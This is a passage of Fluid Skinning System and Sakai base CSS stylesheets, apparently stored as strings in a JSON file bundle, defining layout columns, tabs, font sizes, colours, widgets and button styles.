idth:60%;}\n.fl-container-flex66{width:66%;}\n.fl-container-flex75{width:75%;}\n.fl-layout-linear *,.fl-layout-linear .fl-linearEnabled{overflow:visible!important;clear:both!important;float:none!important;margin-left:0!important;margin-right:0!important;}\n.fl-layout-linear .fl-container,.fl-layout-linear .fl-container-100,.fl-layout-linear .fl-container-150,.fl-layout-linear .fl-container-200,.fl-layout-linear .fl-container-250,.fl-layout-linear .fl-container-300,.fl-layout-linear .fl-container-400,.fl-layout-linear .fl-container-750,.fl-layout-linear .fl-container-950,.fl-layout-linear .fl-container-auto,.fl-layout-linear .fl-container-flex25,.fl-layout-linear .fl-container-flex30,.fl-layout-linear .fl-container-flex33,.fl-layout-linear .fl-container-flex50,.fl-layout-linear .fl-col,.fl-layout-linear .fl-col-side,.fl-layout-linear .fl-col-flex,.fl-layout-linear .fl-col-main,.fl-layout-linear .fl-col-fixed,.fl-layout-linear .fl-col-justified{width:100%!important;margin:auto;padding:0!important;}\n.fl-layout-linear .fl-force-left,.fl-layout-linear .fl-force-right,.fl-layout-linear li{display:block!important;float:none!important;}\n.fl-layout-linear .fl-linearEnabled{width:100%!important;display:block;}\n.fl-layout-linear .fl-button-left,.fl-layout-linear .fl-button-right{padding:1em;}\n.fl-col-justified{float:left;display:inline;overflow:auto;text-align:justify;}\n.fl-col-flex2,.fl-col-flex3,.fl-col-flex4,.fl-col-flex5{overflow:hidden;zoom:1;}\n.fl-col{float:left;display:inline;}\n.fl-col-flex5 .fl-col{width:18.95%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-flex4 .fl-col{width:24%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-flex3 .fl-col{width:32.33%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-flex2 .fl-col{width:48.85%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-mixed,.fl-col-mixed2,.fl-col-mixed3{overflow:auto;zoom:1;}\n.fl-col-mixed .fl-col-side{width:200px;}\n.fl-col-mixed .fl-col-side,.fl-col-mixed .fl-col-main{padding:0 10px;}\n.fl-col-mixed2 .fl-col-side{width:200px;padding:0 10px;float:left;}\n.fl-col-mixed2 .fl-col-main{margin-left:220px;padding:0 10px;}\n.fl-col-mixed3 .fl-col-main{margin:0 220px;}\n.fl-col-fixed,.fl-col-flex{padding:0 10px;}\n.fl-col-mixed .fl-col-fixed{width:200px;padding:0 10px;}\n.fl-col-mixed .fl-col-flex{margin-left:220px;padding:0 10px;}\n.fl-col-mixed-100 .fl-col-fixed{width:100px;}\n.fl-col-mixed-100 .fl-col-flex{margin-left:120px;}\n.fl-col-mixed-150 .fl-col-fixed{width:150px;}\n.fl-col-mixed-150 .fl-col-flex{margin-left:170px;}\n.fl-col-mixed-200 .fl-col-fixed{width:200px;}\n.fl-col-mixed-200 .fl-col-flex{margin-left:220px;}\n.fl-col-mixed-250 .fl-col-fixed{width:250px;}\n.fl-col-mixed-250 .fl-col-flex{margin-left:270px;}\n.fl-col-mixed-300 .fl-col-fixed{width:300px;}\n.fl-col-mixed-300 .fl-col-flex{margin-left:320px;}\n.fl-tabs{margin:10px 0 0 0;border-bottom:1px solid #000;text-align:center;padding-bottom:2px;}\n.fl-tabs li{list-style-type:none;display:inline;}\n.fl-tabs li a{padding:3px 16px 2px;background-color:#fff;margin-left:-5px;*margin-bottom:-6px;zoom:1;border:1px solid #000;color:#999;}\n.fl-tabs-center{text-align:center;}\n.fl-tabs-left{text-align:left;padding-left:10px;}\n.fl-tabs-right{text-align:right;padding-right:15px;}\n.fl-tabs .fl-reorderer-dropMarker{padding:0 3px;background-color:#c00;margin:0 5px 0 -5px;zoom:1;}\n.fl-tabs .fl-tabs-active a{padding:2px 16px;border-bottom:none;color:#000;}\n.fl-tabs-content{padding:5px;}\n@media screen and(-webkit-min-device-pixel-ratio:0){.fl-tabs li a{padding:3px 16px 3px;}\n.fl-tabs .fl-tabs-active a{padding:3px 16px 4px;}\n}\n.fl-listmenu{padding:0;margin:0;border-bottom-width:1px;border-bottom-style:solid;}\n.fl-listmenu li{margin:0;padding:0;list-style-type:none;border-width:1px;border-style:solid;border-bottom:none;}\n.fl-listmenu a{padding:5px 5px;display:block;zoom:1;}\nul.fl-grid,.fl-grid ul{padding:0;margin:0;}\n.fl-grid li{list-style-type:none;display:inline;}\n.fl-grid li{float:left;width:19%;margin:.5%;height:150px;overflow:hidden;position:relative;display:inline;}\n.fl-grid li img{display:block;margin:5px auto;}\n.fl-grid li .caption{position:absolute;left:0;bottom:0;width:100%;text-align:center;height:1em;padding:3px 0;}\n.fl-icon{text-indent:-5000px;overflow:hidden;cursor:pointer;display:block;height:16px;width:16px;margin-left:5px;margin-right:5px;background-position:center center;background-repeat:no-repeat;}\ninput.fl-icon{padding-left:16px;}\n.fl-button-left{float:left;margin-right:10px;padding:0 0 0 16px;background-position:left center;background-repeat:no-repeat;}\n.fl-button-right{float:right;margin-left:10px;padding:0 0 0 16px;background-position:left center;background-repeat:no-repeat;}\n.fl-button-inner{float:left;padding:5px 16px 5px 0;cursor:pointer;background-position:right center;background-repeat:no-repeat;}\n.fl-widget{padding:5px;margin-bottom:10px;}\n.fl-widget .button{margin:0 5px;}\n.fl-grabbable .fl-widget-titlebar{background-position:center top;background-repeat:no-repeat;cursor:move;}\n.fl-widget .fl-widget-titlebar h2{padding:0;margin:0;font-size:105%;}\n.fl-widget .fl-widget-titlebar .fl-button-inner{font-size:.8em;padding-bottom:.2em;padding-top:.2em;}\n.fl-widget .fl-widget-controls{margin:-1.3em 0 1.5em 0;}\n.fl-widget .fl-widget-options{background-color:#D5DBDF;overflow-y:hidden;}\n.fl-widget .fl-widget-options ul{margin:0;padding:0;overflow:hidden;zoom:1;}\n.fl-widget .fl-widget-options li{list-style-type:none;float:left;display:inline;padding:0 5px 0 5px;margin-left:-5px;}\n.fl-widget .fl-widget-options a{margin-right:5px;}\n.fl-widget .fl-widget-content{zoom:1;margin:5px 0 0 0;}\n.fl-widget .empty *{padding-top:10px;margin-left:auto;margin-right:auto;text-align:center;}\n.fl-widget .menu{margin:0;}\n.fl-widget .toggle{width:32px;}\n.fl-widget .on{background-position:left top;}\n.fl-widget .off{background-position:left bottom;}\n.fl-controls-left li{list-style-type:none;text-align:left;}\n.fl-controls-left .fl-label{float:left;text-align:left;width:50%;margin-right:5px;}\n.fl-controls-right li{list-style-type:none;display:block;text-align:left;}\n.fl-controls-right .fl-label{float:left;text-align:right;width:50%;margin-right:5px;}\n.fl-controls-centered li{list-style-type:none;display:block;text-align:left;}\n.fl-controls-centered .fl-label{float:left;text-align:center;width:50%;margin-right:5px;}\n.fl-noBackgroundImages,.fl-noBackgroundImages *{background-image:none!important;}\n.fl-noBackgroundImages .fl-icon{text-indent:0!important;width:auto!important;background-color:transparent!important;}\n.fl-ProgEnhance-enhanced,.fl-progEnhance-enhanced{display:none;}\n.fl-offScreen-hidden{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden;}\n\n/* Fluid Text: \n * fss-text.css \n */\n\n.fl-font-size-70,.fl-font-size-70 body,.fl-font-size-70 input,.fl-font-size-70 select,.fl-font-size-70 textarea{font-size:.7em!important;line-height:1em!important;}\n.fl-font-size-80,.fl-font-size-80 body,.fl-font-size-80 input,.fl-font-size-80 select,.fl-font-size-80 textarea{font-size:.8em!important;line-height:1.1em!important;}\n.fl-font-size-90,.fl-font-size-90 body,.fl-font-size-90 input,.fl-font-size-90 select,.fl-font-size-90 textarea{font-size:.9em!important;line-height:1.2em!important;}\n.fl-font-size-100,.fl-font-size-100 body,.fl-font-size-100 input,.fl-font-size-100 select,.fl-font-size-100 textarea{font-size:1em!important;line-height:1.3em!important;}\n.fl-font-size-110,.fl-font-size-110 body,.fl-font-size-110 input,.fl-font-size-110 select,.fl-font-size-110 textarea{font-size:1.1em!important;line-height:1.4em!important;}\n.fl-font-size-120,.fl-font-size-120 body,.fl-font-size-120 input,.fl-font-size-120 select,.fl-font-size-120 textarea{font-size:1.2em!important;line-height:1.5em!important;}\n.fl-font-size-130,.fl-font-size-130 body,.fl-font-size-130 input,.fl-font-size-130 select,.fl-font-size-130 textarea{font-size:1.3em!important;line-height:1.6em!important;}\n.fl-font-size-140,.fl-font-size-140 body,.fl-font-size-140 input,.fl-font-size-140 select,.fl-font-size-140 textarea{font-size:1.4em!important;line-height:1.7em!important;}\n.fl-font-size-150,.fl-font-size-150 body,.fl-font-size-150 input,.fl-font-size-150 select,.fl-font-size-150 textarea{font-size:1.5em!important;line-height:1.8em!important;}\n@media screen and(-webkit-min-device-pixel-ratio:0){[class~='fl-font-size-70'] input[type=submit],[class~='fl-font-size-70'] input[type=button]{padding:0 1em;}\n[class~='fl-font-size-80'] input[type=submit],[class~='fl-font-size-80'] input[type=button]{font-size:.8em!important;padding:0 1em;}\n[class~='fl-font-size-90'] input[type=submit],[class~='fl-font-size-90'] input[type=button]{font-size:.9em!important;padding:0 1em;}\n[class~='fl-font-size-100'] input[type=submit],[class~='fl-font-size-100'] input[type=button]{font-size:1em!important;padding:0 1em;}\n[class~='fl-font-size-110'] input[type=submit],input[type=submit][class~='fl-font-size-110'],[class~='fl-font-size-110'] input[type=button]{background-color:#fff;font-size:1.1em!important;padding:0 1em;}\n[class~='fl-font-size-120'] input[type=submit],input[type=submit][class~='fl-font-size-120'],[class~='fl-font-size-120'] input[type=button]{background-color:#fff;font-size:1.2em!important;padding:0 1em;}\n[class~='fl-font-size-130'] input[type=submit],input[type=submit][class~='fl-font-size-130'],[class~='fl-font-size-130'] input[type=button]{background-color:#fff;font-size:1.3em!important;padding:0 1em;}\n[class~='fl-font-size-140'] input[type=submit],input[type=submit][class~='fl-font-size-140'],[class~='fl-font-size-140'] input[type=button]{background-color:#fff;font-size:1.4em!important;padding:0 1em;}\n[class~='fl-font-size-150'] input[type=submit],input[type=submit][class~='fl-font-size-150'],[class~='fl-font-size-150'] input[type=button]{background-color:#fff;font-size:1.5em!important;padding:0 1em;}\n[class~='fl-font-serif'] input[type=submit],[class~='fl-font-sans'] input[type=submit],[class~='fl-font-monospace'] input[type=submit],[class~='fl-font-arial'] input[type=submit],[class~='fl-font-verdana'] input[type=submit],[class~='fl-font-times'] input[type=submit],[class~='fl-font-courier'] input[type=submit]{background-color:#fff;padding:0 1em;}\n}\n.fl-font-serif,.fl-font-serif *{font-family:Georgia,Times,\"Times New Roman\",\"Book Antiqua\",serif!important;}\n.fl-font-sans,.fl-font-sans *{font-family:Tahoma,Verdana,Helvetica,sans-serif!important;}\n.fl-font-monospace,.fl-font-monospace *{font-family:\"Courier New,Courier\",monospace!important;}\n.fl-font-arial,.fl-font-arial *{font-family:\"Arial\"!important;}\n.fl-font-verdana,.fl-font-verdana *{font-family:\"Verdana\"!important;}\n.fl-font-times,.fl-font-times *{font-family:Georgia,Times,\"Times New Roman\",serif!important;}\n.fl-font-courier,.fl-font-courier *{font-family:\"Courier New\",Courier,monospace!important;}\n.fl-text-align-left{text-align:left;}\n.fl-text-align-right{text-align:right;}\n.fl-text-align-center{text-align:center;}\n.fl-text-align-justify{text-align:justify;}\n.fl-font-spacing-0,.fl-font-spacing-0 body,.fl-font-spacing-0 input,.fl-font-spacing-0 select,.fl-font-spacing-0 textarea{letter-spacing:0;}\n.fl-font-spacing-1,.fl-font-spacing-1 body,.fl-font-spacing-1 input,.fl-font-spacing-1 select,.fl-font-spacing-1 textarea{letter-spacing:.1em;}\n.fl-font-spacing-2,.fl-font-spacing-2 body,.fl-font-spacing-2 input,.fl-font-spacing-2 select,.fl-font-spacing-2 textarea{letter-spacing:.2em;}\n.fl-font-spacing-3,.fl-font-spacing-3 body,.fl-font-spacing-3 input,.fl-font-spacing-3 select,.fl-font-spacing-3 textarea{letter-spacing:.3em;}\n.fl-font-spacing-4,.fl-font-spacing-4 body,.fl-font-spacing-4 input,.fl-font-spacing-4 select,.fl-font-spacing-4 textarea{letter-spacing:.4em;}\n.fl-font-spacing-5,.fl-font-spacing-5 body,.fl-font-spacing-5 input,.fl-font-spacing-5 select,.fl-font-spacing-5 textarea{letter-spacing:.5em;}\n.fl-font-spacing-6,.fl-font-spacing-6 body,.fl-font-spacing-6 input,.fl-font-spacing-6 select,.fl-font-spacing-6 textarea{letter-spacing:.6em;}\n.fl-text-aqua{color:aqua!important;}\n.fl-text-black{color:black!important;}\n.fl-text-blue{color:blue!important;}\n.fl-text-fuchsia{color:fuchsia!important;}\n.fl-text-gray{color:gray!important;}\n.fl-text-green{color:green!important;}\n.fl-text-lime{color:lime!important;}\n.fl-text-maroon{color:maroon!important;}\n.fl-text-navy{color:navy!important;}\n.fl-text-olive{color:olive!important;}\n.fl-text-purple{color:purple!important;}\n.fl-text-red{color:red!important;}\n.fl-text-silver{color:silver!important;}\n.fl-text-teal{color:teal!important;}\n.fl-text-white{color:white!important;}\n.fl-text-yellow{color:yellow!important;}\n.fl-text-underline{text-decoration:underline!important;}\n.fl-text-bold{font-weight:bold!important;}\n.fl-text-larger{font-size:125%!important;}\n.fl-input-outline{border:2px solid;}\n.fl-highlight-yellow,.fl-highlight-hover-yellow:hover,.fl-highlight-focus-yellow:focus{background-color:#FF0!important;background-image:none!important;}\n.fl-highlight-green,.fl-highlight-hover-green:hover,.fl-highlight-focus-green:focus{background-color:#0F0!important;background-image:none!important;}\n.fl-highlight-blue,.fl-highlight-hover-blue:hover,.fl-highlight-focus-blue:focus{background-color:#00F!important;background-image:none!important;}\n\n", "dev/css/sakai/sakai.base.css": "/**\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\n/*\n * GLOBAL RULES\n */\nbody, button{font-family:Arial, Helvetica, sans-serif;line-height:120%;}\n.section_header{font-weight:bold;border-bottom:1px solid #ebebeb;font-size:17px;padding-bottom:3px;}\n\n/* adding a visible outline on focus for accessibility */\n*:focus{outline:1px dotted #000;}\n/*apply to any container that needs to be rendered off-screen, but available to screen readers*/\n.s3d-aural-text {position: absolute;clip: rect(1px 1px 1px 1px); /* IE6, IE7 */clip: rect(1px, 1px, 1px, 1px);overflow:hidden;width:1px;height:1px;} \n\n/* HTML TAG OVERRIDES - on top of the FSS reset */\nh1{font-size:2em;font-family:Arial,Helvetica,sans-serif;font-weight:bolder;line-height:normal;margin:5px 0px 10px 0;}\n\n/* \n * PAGE LAYOUT\n */\n.fixed-container {padding:0 20px;width: 920px;overflow:hidden;}\n.s3d-header .fixed-container { background-color: #FFF;}\n.s3d-header .fixed-container .decor_left {background:url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll left -10px transparent; float:left; height:5px; margin-left:-20px; width:5px;}\n.s3d-header .fixed-container .decor { background: url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll right -10px transparent; height: 5px; margin-right: -20px; }\n.grep {color:#666 !important;font-weight:bold;}\n.s3d-gray {color:#666;}\n.s3d-lowercase {text-transform: lowercase;}\n\n.block_image_left {float: left;}\n.block_image_right {float: right;}\n\n/* GENERAL WIDGET CSS */\n/*.fl-widget {padding: 0;}\n.fl-widget .fl-widget-titlebar h2 {padding-left:3px}\n.fl-widget .fl-widget-titlebar {background: url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll right -473px transparent; padding: 0 4px 0 0; width: auto; min-height: 39px;}\n.fl-widget .fl-widget-titlebar .widget-titlebar-inner {background: url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll -10px -544px transparent; min-height: 39px;}\n.fl-widget .fl-widget-options ul {margin: 0; padding: 0; width:100%;}\n.fl-widget .fl-widget-titlebar .widget_title {color: #878a8c; font-size: 1.0em; padding: 13px 30px 10px 40px; vertical-align: text-top; word-wrap:break-word;}\n.fl-widget .fl-widget-titlebar .widget_title_icon {display: block; float: left; height: 17px; left: 16px; position: relative; top: 14px; width: 17px;}\n.fl-widget .fl-widget-titlebar .settings {background: url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll -186px -393px transparent; position: relative; height: 18px; margin: 15px 8px 0 0;}\n.fl-widget .fl-widget-options ul li {float: left; margin: 0; padding: 0 6px 0;}\n.fl-widget .fl-widget-options ul li a, .fl-widget .fl-widget-options ul li .s3d-link-button {color: #666; font-size: .85em; font-weight: bold;}\n.fl-widget .fl-widget-options .pipe_divider {font-size: .85em;}\n.fl-widget .fl-widget-content {background-color: #fff; }\n.fl-widget .fl-widget-content ul {margin: 0;}\n.fl-widget .widget-options-inner {padding: 0px 10px 0; min-height:16px; overflow:hidden; *overflow:auto;}\n.hiddenwidget {border-bottom: 3px solid #D5DBDF;}*/\n\n/*\n.fl-widget .widget-titlebar-end {margin-top: -2px;background: url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll -10px -616px transparent;height: 4px;}\n.fl-widget .widget-titlebar-end-inner {background: url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll right -518px transparent;height: 4px;}\n*/\n\n/* Widget settings */\n#widget_settings_menu {position:absolute;top:0;left:0;margin-top:10px;}\n\n.s3d-dropdown-list {background:url(\"/dev/images/dropdown_list_bg.png\") repeat-x scroll left top #F5F5F5;border: 1px solid #aaa;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 6px 0 #666;}\n.s3d-dropdown-list ul {padding:0;margin:5px;}\n.s3d-dropdown-list ul li {padding:2px 5px;margin:0;font-size:12px;list-style-type:none;cursor:pointer;}\n.s3d-dropdown-list ul li button, .s3d-dropdown-list ul li a {color:#2683bc;font-size:11px;font-weight:bold;text-decoration:none;}\n.s3d-dropdown-list ul li a:hover {color:#999;}\n.s3d-dropdown-list .s3d-dropdown-list-arrow-up {background:url(\"/dev/images/dropdown_list_arrow_up.png\") no-repeat scroll left top transparent;height:20px;margin-top:-20px;position:absolute;right:8px;width:25px;}\n\n/* NEW WIDGETS */\n.s3d-widget-container .fl-widget-titlebar .settings {position:relative;height:18px;margin:8px 0 0;text-indent:0 !important;color:#666 !important;}\n.s3d-widget-container .fl-widget-titlebar .settings:hover {color:#2683BC !important;}\n.s3d-widget-container {border:solid 1px #dfdfdf;border-top:none;-moz-border-radius:0 0 5px 5px;-webkit-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;margin-bottom:10px;}\n.s3d-widget-container .s3d-contentpage-title {border-bottom:none;background:url(\"/dev/images/widget_header_bg.png\") repeat-x scroll left top #dddddc;height:34px;line-height:34px;padding:0 12px;color:#666;font-weight:bold;font-size:13px;}\n.s3d-widget-container .s3d-contentpage-title:hover {cursor:pointer}\n.s3d-widget-container .hiddenwidget .s3d-contentpage-title {margin-bottom:0;}\n.s3d-widget-footer {min-height:14px;background-color:#DDDDDC;-moz-border-radius:0 0 5px 5px;-webkit-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;margin-top:7px;padding:7px 12px;box-shadow:0 1px 0 0 #bbb;}\n.s3d-widget-footer a, .s3d-widget-footer span {float:right;}\n.s3d-widget-footer-divider {font-size: 11px; color: #999999; padding-left: 5px;}\n\n/* Change layout */\n#change_layout_dialog {width: 840px !important; margin-left: -420px !important;}\n#change_layout_dialog .elf-right-up {padding: 25px 0}\n#change_layout_dialog .add-tools-right {width:100%;}\n#change_layout_dialog .layout_container {float:left;padding-left:25px;padding-right:13px;}\n#change_layout_dialog .layout_picker_item {width:114px; height: 62px; border: 2px solid #3399CC; border-right: 2px solid #3399CC; background-color: #EEFFFF;}\n#change_layout_dialog .layout_picker_item_column {border-right: 1px solid #3399CC;}\n#change_layout_dialog .layout_picker_item_radio {margin-left:50px; margin-top:10px;}\n#change_layout_dialog .layout_container_unselected {float:left; padding-left:25px; padding-right:13px;}\n#change_layout_dialog .layout_picker_item_unselected {width:114px; height: 62px; border: 2px solid #dddfe1; border-right: 2px solid #dddfe1; background-color: #F8F8F8;}\n#change_layout_dialog .layout_picker_item_column_unselected {border-right: 1px solid #dddfe1;}\n#change_layout_dialog .layout_picker_item_radio_unselected {margin-left:50px; margin-top: 10px;}\n#change_layout_dialog #layouts_list {display:block;}\n\n/* Add Sakai Goodies */\n#add_goodies_dialog {width:520px; height: 374px; margin-left: -260px;}\n.add_goodies .s3d-button {margin:0; height:23px;}\n.add_goodies .dialog_body {height:308px; overflow-y:auto; overflow-x:hidden; position:relative; width:471px;}\n.add_goodies  ul {margin:0;}\n.add_goodies  ul li{border-bottom: 1px solid #efefef;line-height:30px;list-style:none;padding:0 12px;}\n.add_goodies  ul li:hover{background-color:#dbeefc;}\n.add_goodies .dialog_add_goodies_description {color:#333;font-size:13px;font-weight:normal;}\n.add_goodies .dialog_remove_goodies_title {color:#999;font-size:14px;font-weight:bold;}\n.add_goodies .dialog_remove_goodies_description {color:#999999;font-size:12px;font-weight:100;}\n.add_goodies .dialog_add_goodies_title {color:#333;font-size:13px;font-weight:bold;}\n.add_goodies .remove_add_column {float:right;width:100px;}\n\n/* D&D Classes */\n.ui-draggable, .orderable-hover {cursor:move;}\n.orderable-dragging {opacity:0.2; width:auto;}\n.orderable-selected {}\n.orderable-avatar {background-color:#666666; border:1px solid #666666; height:25px; width:50px; z-index:65535;}\ndiv .orderable-drop-marker {background-color:#FA7019; height:10px !important;}\n.drop-warning {background-color:#FFD7D7; border:2px solid red; display:none; left:10px; margin:5px; padding:10px; position:absolute; top:50px; z-index:65535;}\n.orderable-drop-marker-box {background-color:#FFFFFF; border:2px dashed #AAAAAA; height:200px !important; margin-bottom:1em; width:97%;}\n\n/*\n * INSERT MORE DROPDOWN\n */\n.insert_more_menu{position:absolute;left:5px;top:5px;border:1px solid #ccc;background-color:#fff;font-size:.95em!important;}\n.insert_more_menu_border{border-bottom:1px solid #ccc;}\n.insert_more_menu ul{padding:5px 15px 5px 7px;margin:0;}\n.insert_more_menu li{list-style-type:none;}\n.insert_more_menu_inactive{color:#aaa;}\n\n\n/*\n * DROPDOWN MENU\n */\n.s3d-dropdown-menu {display: inline-block;list-style: none outside none;margin-top:4px;padding:0;cursor:pointer; margin-left:-2px;}\n.s3d-dropdown-menu:hover {background: url(\"/devwidgets/topnavigation/images/topnav_nav_hover.png\") repeat-x scroll left top #3480b2;-moz-border-radius:2px 2px 2px 2px; border-radius:2px 2px 2px 2px; -webkit-border-radius:2px 2px 2px 2px;padding:0px;}\n.s3d-dropdown-menu ul, .s3d-dropdown-menu .s3d-dropdown-menu-content-container {margin:0;padding: 10px 7px;display:block;background-color: #F3F3F3;-moz-border-radius:2px; border-radius:2px; -webkit-border-radius:2px;}\n.s3d-dropdown-menu ul li {display:block; list-style:none;padding:1px;margin:0 2px;cursor:pointer;color:#636363; text-decoration:none; font-weight:normal;}\n.s3d-dropdown-menu ul li:hover {background:url(\"/devwidgets/topnavigation/images/topnav_nav_list_hover.png\") repeat-x scroll left top transparent;}\n.s3d-dropdown-menu ul li a {text-decoration:none;display:block;padding:5px 6px;}\n.s3d-dropdown-menu ul li:hover a {color:#f3f3f3;}\n.s3d-dropdown-menu ul li a {color:#2683bc;font-size:12px;}\n.s3d-dropdown-menu .s3d-dropdown-container {background:url(\"/devwidgets/topnavigation/images/topnav_nav_hover_list_bg.png\") repeat-x scroll left top #0c4e79;-moz-border-radius:0 0 5px 5px; border-radius:0 0 5px 5px; -webkit-border-radius:0 0 5px 5px;-moz-box-shadow:0 10px 10px -3px #333333; -webkit-box-shadow:0 10px 10px -3px #333333; box-shadow:0 10px 10px -3px #333333;position:absolute;z-index:999;min-width:140px;padding:5px;-moz-border-radius:0 2px 2px 2px; border-radius:0 2px 2px 2px; -webkit-border-radius:0 2px 2px 2px;cursor:auto;}\n.s3d-split-line {background-color:none;border:medium none;border-top:1px dotted #d4d4d4;height: 1px;margin: 3px 9px;}\n\n/*\n * MARGINS\n */\n.s3d-margin-top-3 {margin-top: 3px !important;}\n.s3d-margin-top-5 {margin-top: 5px !important;}\n.s3d-margin-top-10 {margin-top: 10px !important;}\n.s3d-margin-top-15 {margin-top: 15px !important;}\n.s3d-margin-top-20 {margin-top: 20px !important;}\n.s3d-button.s3d-margin-top-5 {height:19px;line-height:19px;}\n.s3d-button.s3d-no-margin-top {margin-top:0;height:18px !important;line-height:18px;}\n/* \n * LINKS\n */\na{color:#333;text-decoration:none;}\na:hover{text-decoration:underline;}\n.s3d-add_another_location{clear:both;color:#39C;font-size:13px;font-weight:bold;background:url(/dev/images/icons_sprite.png) no-repeat scroll left -21px transparent;float:left;width:16px;height:16px;display:block;margin-right:6px;}\n.s3d-add_another_location_container{clear:both;display:block;padding:7px 0;width:200px;}\n.s3d-hidden,.i18nable{display:none;}\n.s3d-bold{font-weight:bold;}\na.s3d-regular-links,.s3d-regular-links a, button.s3d-regular-links, .s3d-regular-links button{color:#2683bc;}\na.s3d-widget-links,.s3d-widget-links a, button.s3d-widget-links, .s3d-widget-links button{color:#2683bc; font-size:0.9em;}\n.s3d-regular-light-links,.s3d-regular-light-links a,.s3d-regular-light-links button{color:#058EC4 !important;}\n.s3d-content-type-link a{color:#5FB3D2;}\n.s3d-remove-links{float:right;margin-right:10px;height:16px;}\n.s3d-tab-active a{background-color:#FFF!important;color:#000!important;font-weight:400!important;border-color:#DDD #DDD #EEE;border-style:solid;border-width:1px;}\n\n/* new path used when creating pages */\n.content_container .new_page_path {line-height: 3em;color:#999;}\n.content_container .new_page_path span {color:#000;}\n\n/* PAGE HEADERS */\n.s3d-page-header-top-row {clear:both;margin-bottom:10px;}\n.s3d-page-header-top-row .s3d-search-inputfield {width:220px;}\n.s3d-page-header-top-row .s3d-page-header-sort-area {float:right;}\n.s3d-page-header-top-row .s3d-page-header-sort-area select {border:1px solid #999;}\n.s3d-page-header-bottom-row {line-height:30px;margin-bottom:15px;}\n.s3d-page-header-bottom-row button, .s3d-page-header-bottom-row .s3d-page-header-selectall {margin-top:6px;}\n.s3d-page-header-bottom-row .s3d-page-header-selectall {height:21px !important;line-height:23px;padding:0 6px 0 5px;width:13px;float:left;}\n.s3d-page-header-bottom-row .s3d-button .s3d-page-header-add-to-icon {background: url(\"/dev/images/savecontent_button_icon_16x16.png\") no-repeat scroll left center transparent;display:block;float:right;height:18px;margin-left:5px;width:16px;}\n.s3d-page-header-bottom-row .s3d-button:hover .s3d-page-header-add-to-icon {background:url(\"/dev/images/savecontent_button_icon_16x16_hover.png\") no-repeat scroll left center transparent;}\n.s3d-page-header-bottom-row .s3d-button[disabled]:hover .s3d-page-header-add-to-icon {background: url(\"/dev/images/savecontent_button_icon_16x16.png\") no-repeat scroll left center transparent;}\n\n/* LIST VIEW OPTIONS */\n.s3d-listview-options {float:right;padding:0 !important;height:19px !important;margin-top:4px;margin-left:20px;border-radius:3px !important;-moz-border-radius:3px !important;-webkit-border-radius:3px !important;}\n.s3d-listview-options:hover {background:#fff;box-shadow:0 0 4px -2px #A8A8A8 inset;}\n.s3d-listview-options > div {float:left;height:15px;padding:3px 4px 2px;}\n.s3d-listview-options > div.selected,\n.s3d-listview-options > div:hover {background:url(\"/dev/images/button_header_hover.png\") repeat-x scroll left -1px transparent;box-shadow:0 0 4px -2px #A8A8A8 inset;} \n.s3d-listview-options > div:last-child {border-radius:0 3px 3px 0;}\n.s3d-listview-options > div:first-child {border-radius:3px 0 0 3px;}\n\n/*\n * BUTTONS \n */\n.s3d-sprites-buttons{background-color:#FFF;padding:0;position:absolute;left:0;top:0;display:block;width:106px;margin:0;}\n.s3d-sprites-buttons ul{margin:0;border:1px solid #cbd0d4;-moz-border-radius:4px;-webkit-border-radius:4px;border-radius:4px;}\n.s3d-sprites-buttons ul li{padding:5px 0 5px 9px;list-style-type:none;}\n.s3d-sprites-buttons ul li:hover{background-color:#dbeefc;cursor:pointer;}\n.s3d-sprites-buttons ul li a{font-weight:400;font-size:12px;}\n.s3d-sprites-buttons ul li a:hover{text-decoration:none;}\n.s3d-sprites-buttons ul li.more_option{border-bottom:1px solid #cbd0d4;}\n.s3d-sprites-buttons ul li.more_option.option_last{border-bottom:0;}\n.s3d-sprites-buttons .more_link{background:transparent url(\"/dev/images/more_bg_18.png\") top left no-repeat;padding:1px 21px 2px 12px;}\n\n/* New button style */\n/* General */\n.s3d-button {border-radius:5px 5px 5px 5px;color:#666;height:27px;padding:1px 12px 0;cursor:pointer;font-weight:bold;font-size:11px;text-align:center;margin-right:5px;border:none;}\nbutton.s3d-button:focus {box-shadow:0 0 2px 1px #2683BC;}\na.s3d-button {text-decoration:none;}\n\n/* Link buttons */\n.s3d-link-button {margin:0;padding:0;background: none repeat scroll 0 0 transparent;border: medium none;color:#2683bc;font-family: Arial,Helvetica,sans-serif;font-size:13px;display: inline-block;text-align:left;font-size:11px;}\n.s3d-link-button:disabled {cursor:default !important;}\n.s3d-link-button:focus {box-shadow:none !important;}\n.s3d-link-button:hover {cursor:pointer;text-decoration:none;color:#999;}\n.s3d-link-button::-moz-focus-inner {padding:0;margin:0;border:0;}\n\n/* Header buttons */\n.s3d-button.s3d-header-button {background:#fff;box-shadow:0 0 4px -2px #A8A8A8 inset;border:1px solid #e0e3e5;}\n.s3d-button.s3d-header-button:hover, .s3d-button.s3d-header-button.selected {background:url(\"/dev/images/button_header_hover.png\") repeat-x scroll left -1px transparent;border:1px solid #E0E3E5;box-shadow:none;}\n.s3d-button.s3d-header-button:disabled 